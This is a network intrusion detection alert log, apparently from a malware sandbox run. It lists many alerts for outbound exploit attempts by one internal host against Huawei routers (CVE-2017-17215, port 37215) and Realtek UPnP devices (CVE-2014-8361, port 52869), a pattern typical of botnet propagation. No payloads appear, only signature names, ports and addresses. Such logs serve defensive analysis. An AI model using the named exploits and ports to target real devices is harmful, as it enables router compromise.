07/20/24-23:11:06.662677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39344	37215	192.168.2.15	197.16.139.162
07/20/24-23:10:46.750827	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49276	37215	192.168.2.15	157.34.85.223
07/20/24-23:10:52.581034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33798	37215	192.168.2.15	197.22.59.86
07/20/24-23:10:49.395188	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42608	37215	192.168.2.15	157.134.108.111
07/20/24-23:10:59.057855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39056	37215	192.168.2.15	41.61.39.75
07/20/24-23:10:51.999918	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60396	52869	192.168.2.15	184.128.6.167
07/20/24-23:11:06.662677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52278	37215	192.168.2.15	41.253.214.8
07/20/24-23:10:56.006442	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41544	37215	192.168.2.15	45.163.34.232
07/20/24-23:10:46.778936	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35920	37215	192.168.2.15	157.83.70.155
07/20/24-23:10:40.653603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52366	37215	192.168.2.15	157.221.114.39
07/20/24-23:10:42.641904	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33094	52869	192.168.2.15	80.66.53.41
07/20/24-23:11:06.678578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45730	37215	192.168.2.15	157.107.9.121
07/20/24-23:10:42.273908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33120	37215	192.168.2.15	41.65.62.180
07/20/24-23:10:42.619429	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41586	52869	192.168.2.15	175.109.109.84
07/20/24-23:10:52.558618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59718	37215	192.168.2.15	197.171.76.37
07/20/24-23:10:52.598915	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38404	37215	192.168.2.15	197.165.162.249
07/20/24-23:11:06.676715	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39852	37215	192.168.2.15	197.163.20.216
07/20/24-23:10:52.024960	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49958	52869	192.168.2.15	86.41.84.165
07/20/24-23:10:49.409236	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60068	37215	192.168.2.15	122.9.208.165
07/20/24-23:10:51.992277	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36950	52869	192.168.2.15	111.98.52.15
07/20/24-23:10:59.011093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50002	37215	192.168.2.15	41.202.223.13
07/20/24-23:10:43.114223	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47404	52869	192.168.2.15	65.78.88.55
07/20/24-23:10:39.438135	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57396	37215	192.168.2.15	157.39.249.198
07/20/24-23:11:06.641258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60474	37215	192.168.2.15	197.166.135.26
07/20/24-23:10:47.731399	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51258	52869	192.168.2.15	121.181.18.104
07/20/24-23:11:03.382352	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35022	37215	192.168.2.15	41.254.104.122
07/20/24-23:10:51.969301	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57334	52869	192.168.2.15	163.184.174.135
07/20/24-23:10:41.228607	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37458	37215	192.168.2.15	41.209.146.132
07/20/24-23:10:52.546429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59578	37215	192.168.2.15	157.210.67.115
07/20/24-23:10:39.083165	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43394	52869	192.168.2.15	183.79.5.78
07/20/24-23:10:52.546429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59802	37215	192.168.2.15	157.123.190.135
07/20/24-23:11:06.680205	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47680	37215	192.168.2.15	164.218.97.12
07/20/24-23:10:39.434124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57580	37215	192.168.2.15	153.137.241.70
07/20/24-23:10:42.262762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38598	37215	192.168.2.15	197.6.61.54
07/20/24-23:10:44.476283	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54992	52869	192.168.2.15	92.38.222.42
07/20/24-23:10:49.342527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41794	37215	192.168.2.15	157.37.171.52
07/20/24-23:10:41.228259	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39922	37215	192.168.2.15	197.117.3.182
07/20/24-23:10:41.241455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34070	37215	192.168.2.15	197.253.47.96
07/20/24-23:10:47.956414	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40984	52869	192.168.2.15	158.108.32.200
07/20/24-23:10:39.100414	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41758	52869	192.168.2.15	89.171.240.248
07/20/24-23:10:39.707918	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48646	52869	192.168.2.15	209.99.231.53
07/20/24-23:10:42.255257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57680	37215	192.168.2.15	41.82.184.104
07/20/24-23:10:51.900424	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37860	52869	192.168.2.15	77.201.115.63
07/20/24-23:10:41.241455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57188	37215	192.168.2.15	197.154.192.149
07/20/24-23:10:51.933445	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40566	52869	192.168.2.15	13.129.217.20
07/20/24-23:10:49.370142	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53580	37215	192.168.2.15	197.83.202.216
07/20/24-23:10:49.409236	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52142	37215	192.168.2.15	41.243.188.46
07/20/24-23:10:51.896835	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33066	52869	192.168.2.15	118.155.226.123
07/20/24-23:10:52.047583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57248	52869	192.168.2.15	116.197.1.84
07/20/24-23:10:46.795245	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35728	37215	192.168.2.15	41.118.26.249
07/20/24-23:10:40.616009	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35578	37215	192.168.2.15	41.180.153.162
07/20/24-23:10:51.969301	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37796	52869	192.168.2.15	92.54.7.102
07/20/24-23:11:03.339788	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50666	37215	192.168.2.15	87.49.15.99
07/20/24-23:10:41.241817	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49106	37215	192.168.2.15	197.101.3.125
07/20/24-23:10:45.052621	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55768	52869	192.168.2.15	163.184.174.135
07/20/24-23:10:40.599066	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47566	37215	192.168.2.15	197.32.38.129
07/20/24-23:10:46.832505	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40752	37215	192.168.2.15	157.97.221.144
07/20/24-23:10:51.933445	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42372	52869	192.168.2.15	197.33.21.86
07/20/24-23:10:42.266162	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44894	37215	192.168.2.15	157.252.36.217
07/20/24-23:10:44.777380	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56364	52869	192.168.2.15	66.88.126.168
07/20/24-23:10:39.430692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52656	37215	192.168.2.15	41.101.180.53
07/20/24-23:10:59.011093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41808	37215	192.168.2.15	176.192.203.191
07/20/24-23:10:41.230206	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39516	37215	192.168.2.15	197.104.208.132
07/20/24-23:10:42.629188	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39790	52869	192.168.2.15	120.127.21.138
07/20/24-23:10:58.998725	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50320	37215	192.168.2.15	197.13.68.164
07/20/24-23:11:06.657863	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44010	37215	192.168.2.15	157.168.113.67
07/20/24-23:10:42.249913	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41100	37215	192.168.2.15	41.70.136.110
07/20/24-23:10:42.636830	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46464	52869	192.168.2.15	18.50.207.232
07/20/24-23:10:42.255257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49322	37215	192.168.2.15	157.154.95.95
07/20/24-23:10:52.564314	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58850	37215	192.168.2.15	41.46.129.99
07/20/24-23:10:42.280294	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46344	37215	192.168.2.15	41.36.192.103
07/20/24-23:11:03.306275	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54862	37215	192.168.2.15	157.119.182.240
07/20/24-23:11:03.378464	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36650	37215	192.168.2.15	213.165.108.246
07/20/24-23:10:40.642616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58132	37215	192.168.2.15	157.190.1.139
07/20/24-23:10:46.630597	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42888	52869	192.168.2.15	111.197.150.31
07/20/24-23:10:43.255185	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56624	52869	192.168.2.15	141.170.58.184
07/20/24-23:10:51.967169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53856	52869	192.168.2.15	85.110.124.59
07/20/24-23:10:39.856707	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45686	52869	192.168.2.15	18.50.207.232
07/20/24-23:10:58.986541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60240	37215	192.168.2.15	41.196.176.52
07/20/24-23:10:47.441342	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47594	52869	192.168.2.15	42.250.239.223
07/20/24-23:10:42.633392	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53064	52869	192.168.2.15	113.59.43.68
07/20/24-23:10:58.986541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44442	37215	192.168.2.15	197.113.126.174
07/20/24-23:10:51.906948	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49152	52869	192.168.2.15	146.67.192.198
07/20/24-23:10:52.062286	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43460	52869	192.168.2.15	71.216.86.69
07/20/24-23:10:39.103625	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32838	52869	192.168.2.15	220.55.101.199
07/20/24-23:10:49.428717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58956	37215	192.168.2.15	197.249.96.154
07/20/24-23:10:51.928255	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35270	52869	192.168.2.15	210.237.234.110
07/20/24-23:10:51.928255	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49332	52869	192.168.2.15	109.87.123.124
07/20/24-23:10:49.402846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55794	37215	192.168.2.15	197.219.253.40
07/20/24-23:10:47.793944	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46796	52869	192.168.2.15	54.133.250.242
07/20/24-23:11:06.686627	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56184	37215	192.168.2.15	197.171.62.74
07/20/24-23:10:41.233111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50340	37215	192.168.2.15	157.108.50.27
07/20/24-23:10:42.249182	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48016	37215	192.168.2.15	197.49.200.251
07/20/24-23:11:03.378926	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45540	37215	192.168.2.15	157.173.187.89
07/20/24-23:11:06.683012	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52678	37215	192.168.2.15	164.163.203.10
07/20/24-23:10:51.969869	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54518	52869	192.168.2.15	177.96.215.245
07/20/24-23:10:39.493967	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45658	37215	192.168.2.15	41.10.96.101
07/20/24-23:10:39.485535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59668	37215	192.168.2.15	197.219.149.250
07/20/24-23:10:59.023708	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36698	37215	192.168.2.15	197.251.90.146
07/20/24-23:10:41.237255	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53572	37215	192.168.2.15	104.230.225.200
07/20/24-23:10:42.249913	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52982	37215	192.168.2.15	197.8.92.185
07/20/24-23:10:42.250388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43018	37215	192.168.2.15	18.57.98.31
07/20/24-23:10:55.993044	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41082	37215	192.168.2.15	157.118.199.64
07/20/24-23:10:56.029904	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56680	37215	192.168.2.15	41.149.175.52
07/20/24-23:10:42.273908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33642	37215	192.168.2.15	41.28.182.30
07/20/24-23:10:42.267551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56776	37215	192.168.2.15	41.166.211.228
07/20/24-23:10:52.592459	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59984	37215	192.168.2.15	197.140.167.29
07/20/24-23:10:39.487319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50200	37215	192.168.2.15	41.162.208.185
07/20/24-23:10:42.636108	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35330	52869	192.168.2.15	211.42.169.91
07/20/24-23:10:59.027427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54974	37215	192.168.2.15	121.44.96.251
07/20/24-23:10:39.192692	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53962	52869	192.168.2.15	189.107.255.223
07/20/24-23:10:39.492375	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58290	37215	192.168.2.15	4.49.242.168
07/20/24-23:10:49.380109	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42270	37215	192.168.2.15	197.186.174.2
07/20/24-23:11:06.686627	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45470	37215	192.168.2.15	41.171.119.77
07/20/24-23:10:40.608330	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49096	37215	192.168.2.15	197.136.106.52
07/20/24-23:10:45.877183	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60732	52869	192.168.2.15	198.105.114.189
07/20/24-23:10:49.395188	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49496	37215	192.168.2.15	178.226.102.10
07/20/24-23:10:58.998725	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54954	37215	192.168.2.15	36.49.92.9
07/20/24-23:11:03.352490	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57358	37215	192.168.2.15	157.221.209.38
07/20/24-23:10:51.944865	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53640	52869	192.168.2.15	223.179.196.98
07/20/24-23:10:42.651614	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37386	52869	192.168.2.15	152.242.221.75
07/20/24-23:10:48.340035	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59990	52869	192.168.2.15	61.206.111.53
07/20/24-23:10:40.204129	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36464	52869	192.168.2.15	152.242.221.75
07/20/24-23:10:52.540929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57564	37215	192.168.2.15	83.119.27.3
07/20/24-23:10:52.578509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53374	37215	192.168.2.15	157.226.246.41
07/20/24-23:10:55.999553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55582	37215	192.168.2.15	197.115.125.213
07/20/24-23:10:42.636830	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49720	52869	192.168.2.15	210.2.46.1
07/20/24-23:10:59.035480	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45380	37215	192.168.2.15	157.72.189.25
07/20/24-23:10:40.653603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48734	37215	192.168.2.15	157.230.78.164
07/20/24-23:10:46.817180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55198	37215	192.168.2.15	197.122.171.255
07/20/24-23:10:42.639392	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54964	52869	192.168.2.15	13.3.106.56
07/20/24-23:10:42.262762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59428	37215	192.168.2.15	101.192.211.186
07/20/24-23:10:41.230071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35026	37215	192.168.2.15	197.154.203.233
07/20/24-23:10:42.624844	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34920	52869	192.168.2.15	178.153.143.199
07/20/24-23:10:39.485535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48658	37215	192.168.2.15	197.140.115.187
07/20/24-23:10:49.377082	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47148	37215	192.168.2.15	94.146.188.223
07/20/24-23:10:39.462416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41390	37215	192.168.2.15	41.127.217.236
07/20/24-23:10:52.549473	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54892	37215	192.168.2.15	197.179.191.34
07/20/24-23:11:06.780857	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40074	37215	192.168.2.15	197.88.161.113
07/20/24-23:10:49.380109	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38468	37215	192.168.2.15	157.210.26.139
07/20/24-23:10:51.917055	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53722	52869	192.168.2.15	141.208.201.80
07/20/24-23:10:59.021279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51432	37215	192.168.2.15	197.14.225.158
07/20/24-23:11:03.378464	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35578	37215	192.168.2.15	41.237.230.7
07/20/24-23:10:51.931701	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45468	52869	192.168.2.15	12.188.91.94
07/20/24-23:10:42.634545	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58114	52869	192.168.2.15	64.61.109.158
07/20/24-23:10:55.999553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59896	37215	192.168.2.15	110.77.226.178
07/20/24-23:10:52.607832	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39126	37215	192.168.2.15	157.250.4.144
07/20/24-23:10:40.649994	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39050	37215	192.168.2.15	53.208.221.28
07/20/24-23:10:46.778936	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53418	37215	192.168.2.15	197.179.141.111
07/20/24-23:10:51.970945	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34002	52869	192.168.2.15	132.70.73.95
07/20/24-23:10:56.035713	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55218	37215	192.168.2.15	197.33.95.235
07/20/24-23:10:44.103705	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52578	52869	192.168.2.15	195.207.0.55
07/20/24-23:10:47.748417	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44756	52869	192.168.2.15	209.16.225.185
07/20/24-23:10:51.898994	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53610	52869	192.168.2.15	184.170.67.27
07/20/24-23:10:40.653603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37442	37215	192.168.2.15	41.103.136.234
07/20/24-23:10:59.001293	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58992	37215	192.168.2.15	41.106.145.235
07/20/24-23:10:42.249913	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60524	37215	192.168.2.15	138.128.103.84
07/20/24-23:10:51.983833	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55620	52869	192.168.2.15	168.52.247.36
07/20/24-23:10:43.056355	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36418	52869	192.168.2.15	167.160.225.22
07/20/24-23:10:51.899861	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44962	52869	192.168.2.15	74.74.206.232
07/20/24-23:10:47.646267	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56986	52869	192.168.2.15	222.252.7.7
07/20/24-23:10:49.398416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45672	37215	192.168.2.15	197.47.128.202
07/20/24-23:10:40.656426	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45480	37215	192.168.2.15	39.147.126.15
07/20/24-23:10:39.431804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47204	37215	192.168.2.15	41.135.100.3
07/20/24-23:10:43.610550	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48780	52869	192.168.2.15	196.54.140.130
07/20/24-23:10:39.473748	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54592	37215	192.168.2.15	197.79.113.139
07/20/24-23:10:46.711367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54440	37215	192.168.2.15	41.101.41.79
07/20/24-23:10:59.029071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56712	37215	192.168.2.15	41.55.245.163
07/20/24-23:10:41.230071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51626	37215	192.168.2.15	31.175.193.56
07/20/24-23:10:44.062554	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34730	52869	192.168.2.15	129.64.233.15
07/20/24-23:10:46.778936	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50916	37215	192.168.2.15	41.191.154.193
07/20/24-23:11:03.378926	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58288	37215	192.168.2.15	197.152.251.193
07/20/24-23:11:03.390577	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58100	37215	192.168.2.15	41.92.178.14
07/20/24-23:10:51.931701	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43816	52869	192.168.2.15	180.55.108.40
